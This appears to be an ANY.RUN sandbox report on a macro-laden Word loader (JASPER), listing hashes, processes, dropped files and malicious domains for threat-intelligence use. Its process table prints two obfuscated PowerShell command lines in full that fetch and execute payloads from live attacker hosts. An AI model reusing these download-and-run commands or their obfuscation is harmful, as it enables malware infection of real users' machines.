analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

c8b05ff17dd388bf23164e8ed98a060c76d47eba5c43fc2a6f1b0fc239f2.docm

Full analysis: https://app.any.run/tasks/d131cedb-0cee-4483-98b7-4ec5cae0cb19
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: April 25, 2019, 16:49:08
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
trojan
loader
jasper
maldoc-1
maldoc-4
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

4966F918102D9FACC048314BDF2704CD

SHA1:

F498ED2A6F14A5D5E6BD74A62EA468293598DFF1

SHA256:

C8B05FF17DD388BF23164E8ED98A060C76D47EBA5C43FC2A6F1B0FC239F24B40

SSDEEP:

1536:q4lKZxig7gn+C3hskRSSuclIyTPHkDD+WZbQ8Fa5Vtu:qDP9hIRSSuclIyoDDI1u

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • JASPER was detected

      • powershell.exe (PID: 2568)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3068)

    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 3068)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2212)
      • powershell.exe (PID: 2568)

    • Executes PowerShell scripts

      • WScript.exe (PID: 3624)

    • Executes scripts

      • powershell.exe (PID: 2212)

  • INFO

    • Dropped object may contain Bitcoin addresses

      • powershell.exe (PID: 2568)
      • powershell.exe (PID: 2212)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3068)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3068)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docm | Word Microsoft Office Open XML Format document (with Macro) (53.6)
.docx | Word Microsoft Office Open XML Format document (24.2)
.zip | Open Packaging Conventions container (18)
.zip | ZIP compressed archive (4.1)

EXIF

XML

AppVersion: 16
HyperlinksChanged: No
SharedDoc: No
CharactersWithSpaces: 3
LinksUpToDate: No
Company: VPS2day
TitlesOfParts: -
HeadingPairs:
  • Title
  • 1
ScaleCrop: No
Paragraphs: 1
Lines: 1
DocSecurity: None
Application: Microsoft Office Word
Characters: 3
Words: -
Pages: 1
TotalEditTime: 1.8 hours
Template: Normal.dotm
ModifyDate: 2019:04:02 03:17:00Z
CreateDate: 2019:03:27 00:11:00Z
RevisionNumber: 31
LastModifiedBy: VPS2day
Keywords: -

XMP

Description: -
Creator: VPS2day
Subject: -
Title: -

ZIP

ZipFileName: [Content_Types].xml
ZipUncompressedSize: 1900
ZipCompressedSize: 445
ZipCRC: 0x2a6675f6
ZipModifyDate: 1980:01:01 00:00:00
ZipCompression: Deflated
ZipBitFlag: 0x0006
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
37
Monitored processes
4
Malicious processes
2
Suspicious processes
2

Behavior graph

Click at the process to see the details
start winword.exe no specs powershell.exe wscript.exe no specs #JASPER powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
3068"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\c8b05ff17dd388bf23164e8ed98a060c76d47eba5c43fc2a6f1b0fc239f2.docm"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2212"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; };$axvvjgs = $env:temp;$ccgvd = Join-Path $axvvjgs 'AdobeAR.exe';$hsfbysx='http://daco.nyccomputerconsulting.com/501?atzec';$iczbgta = Join-Path $axvvjgs 'SearchI32.js';$ghvjswx='http://ami.diminishedvaluewashington.com/l2.php?vid=pec4';$xhjsa='(CQu9yuRy3aNew-CQu9yuRy3aObCQu9yuRy3ajeCQu9yuRy3actCQu9yuRy3a CQu9yuRy3aNetCQu9yuRy3a.WebClCQu9yuRy3aiCQu9yuRy3aent).DoCQu9yuRy3awnloaCQu9yuRy3adFilCQu9yuRy3aeCQu9yuRy3a($CQu9yuRy3aghvCQu9yuRy3ajsCQu9yuRy3awCQu9yuRy3ax,CQu9yuRy3a$iczCQu9yuRy3abgCQu9yuRy3ataCQu9yuRy3a)CQu9yuRy3a;' -replace 'CQu9yuRy3a','';iex $xhjsa;Start-Process $iczbgta;$aefhdx='(aWS23E9DaQNaWS23E9DaQeaWS23E9DaQwaWS23E9DaQ-OaWS23E9DaQbjaWS23E9DaQect NaWS23E9DaQet.aWS23E9DaQWebClienaWS23E9DaQtaWS23E9DaQ).DownloadFiaWS23E9DaQlaWS23E9DaQe($hsfbysx,$ccgvaWS23E9DaQd);aWS23E9DaQ' -replace 'aWS23E9DaQ','';iex $aefhdx;Start-Process $ccgvd;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3624"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\SearchI32.js" C:\Windows\System32\WScript.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2568"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; };$fuzafuewjgehgwaggb = [System.IO.Path]::GetTempPath();$uwyzi = Join-Path $fuzafuewjgehgwaggb 'SearchI32.txt';$fvwyijvsudesycxiefws='http://green.dddownhole.com/cryptbody2.php';$xxzgyzvwugv = Join-Path $fuzafuewjgehgwaggb 'SearchI32.js';$fvdydbfjysbbj='http://green.dddownhole.com/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php';$bbiuhgbyygbgxsdgvyyhxuie = '';$geddctwvyxt='(N9EEy9aCew9EEy9aC-9EEy9aCO9EEy9aCb9EEy9aCje9EEy9aCct Net.We9EEy9aCb9EEy9aCClient).DownloadFi9EEy9aCle($fvwy9EEy9aCijv9EEy9aCsudesycxief9EEy9aCws9EEy9aC,9EEy9aC$uwyzi9EEy9aC);9EEy9aC' -replace '9EEy9aC','';iex $geddctwvyxt;$xybaevts='(New-AWC6Ra8ObAWC6Ra8jecAWC6Ra8t AWC6Ra8NAWC6Ra8eAWC6Ra8t.AWC6Ra8WebAWC6Ra8CAWC6Ra8lient).DowAWC6Ra8nloadAWC6Ra8File($fAWC6Ra8vdydbfAWC6Ra8jAWC6Ra8yAWC6Ra8sbbAWC6Ra8j,AWC6Ra8$AWC6Ra8xxzAWC6Ra8gyzvwuAWC6Ra8gv);' -replace 'AWC6Ra8','';iex $xybaevts;Get-Content $uwyzi | Where-Object {$_ -match $regex} | ForEach-Object { $bbiuhgbyygbgxsdgvyyhxuie += $_ -replace '..(.)','$1'};iex $bbiuhgbyygbgxsdgvyyhxuie;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
2 113
Read events
1 376
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
4
Text files
2
Unknown types
2

Dropped files

PID
Process
Filename
Type
3068WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR642A.tmp.cvr —
MD5:—
SHA256:—
2212powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F8RGMQ3LS4OLZEVUX1SZ.temp —
MD5:—
SHA256:—
2568powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PGWQJGVCZLS6TT2OV68V.temp —
MD5:—
SHA256:—
2212powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF106db0.TMPbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
3068WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:AFBA4B4FAE39DDEBB3B39AEA410BC0A6
SHA256:372F0F1DE7D842B60B4968F688E06291BD00C6CAB582E437E77A8636C159F757
2212powershell.exeC:\Users\admin\AppData\Local\Temp\SearchI32.jstext
MD5:6DC0FF72D0320968361E9F687D59167F
SHA256:16334FECF29C134968A575BDDB070EC327D8E785EEFD02B1568B2DECF1E7693B
3068WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$b05ff17dd388bf23164e8ed98a060c76d47eba5c43fc2a6f1b0fc239f2.docmpgc
MD5:7D3366B531D0601BAEB1F92BCEE7CB30
SHA256:A06727181B7D83B6B195479B81C5A8B3FEE7784512013F8DDAADB9C650E08A94
2568powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
2568powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1076e7.TMPbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
2568powershell.exeC:\Users\admin\AppData\Local\Temp\SearchI32.jstext
MD5:C13D72C69B2DF8ECC48679FFC582B5A6
SHA256:20591E6F74E16A8F75B4E202B735FC48AB57611166E4AC45B7F4238D24C14060
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
4
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2212
powershell.exe
GET
—
185.158.249.49:80
http://daco.nyccomputerconsulting.com/501?atzec
NL
—
—
malicious
2212
powershell.exe
GET
200
185.158.248.163:80
http://ami.diminishedvaluewashington.com/l2.php?vid=pec4
RO
text
17.7 Kb
malicious
2568
powershell.exe
GET
200
185.158.251.243:80
http://green.dddownhole.com/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php
NL
text
15.2 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2212
powershell.exe
185.158.248.163:80
ami.diminishedvaluewashington.com
M247 Ltd
RO
malicious
2568
powershell.exe
185.158.251.243:80
green.dddownhole.com
23media GmbH
NL
suspicious
2212
powershell.exe
185.158.249.49:80
daco.nyccomputerconsulting.com
easystores GmbH
NL
unknown

DNS requests

Domain
IP
Reputation
ami.diminishedvaluewashington.com
  • 185.158.248.163
malicious
daco.nyccomputerconsulting.com
  • 185.158.249.49
malicious
green.dddownhole.com
  • 185.158.251.243
malicious

Threats

Found threats are available for the paid subscriptions
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
c8b05ff17dd388bf23164e8ed98a060c76d47eba5c43fc2a6f1b0fc239f2.docm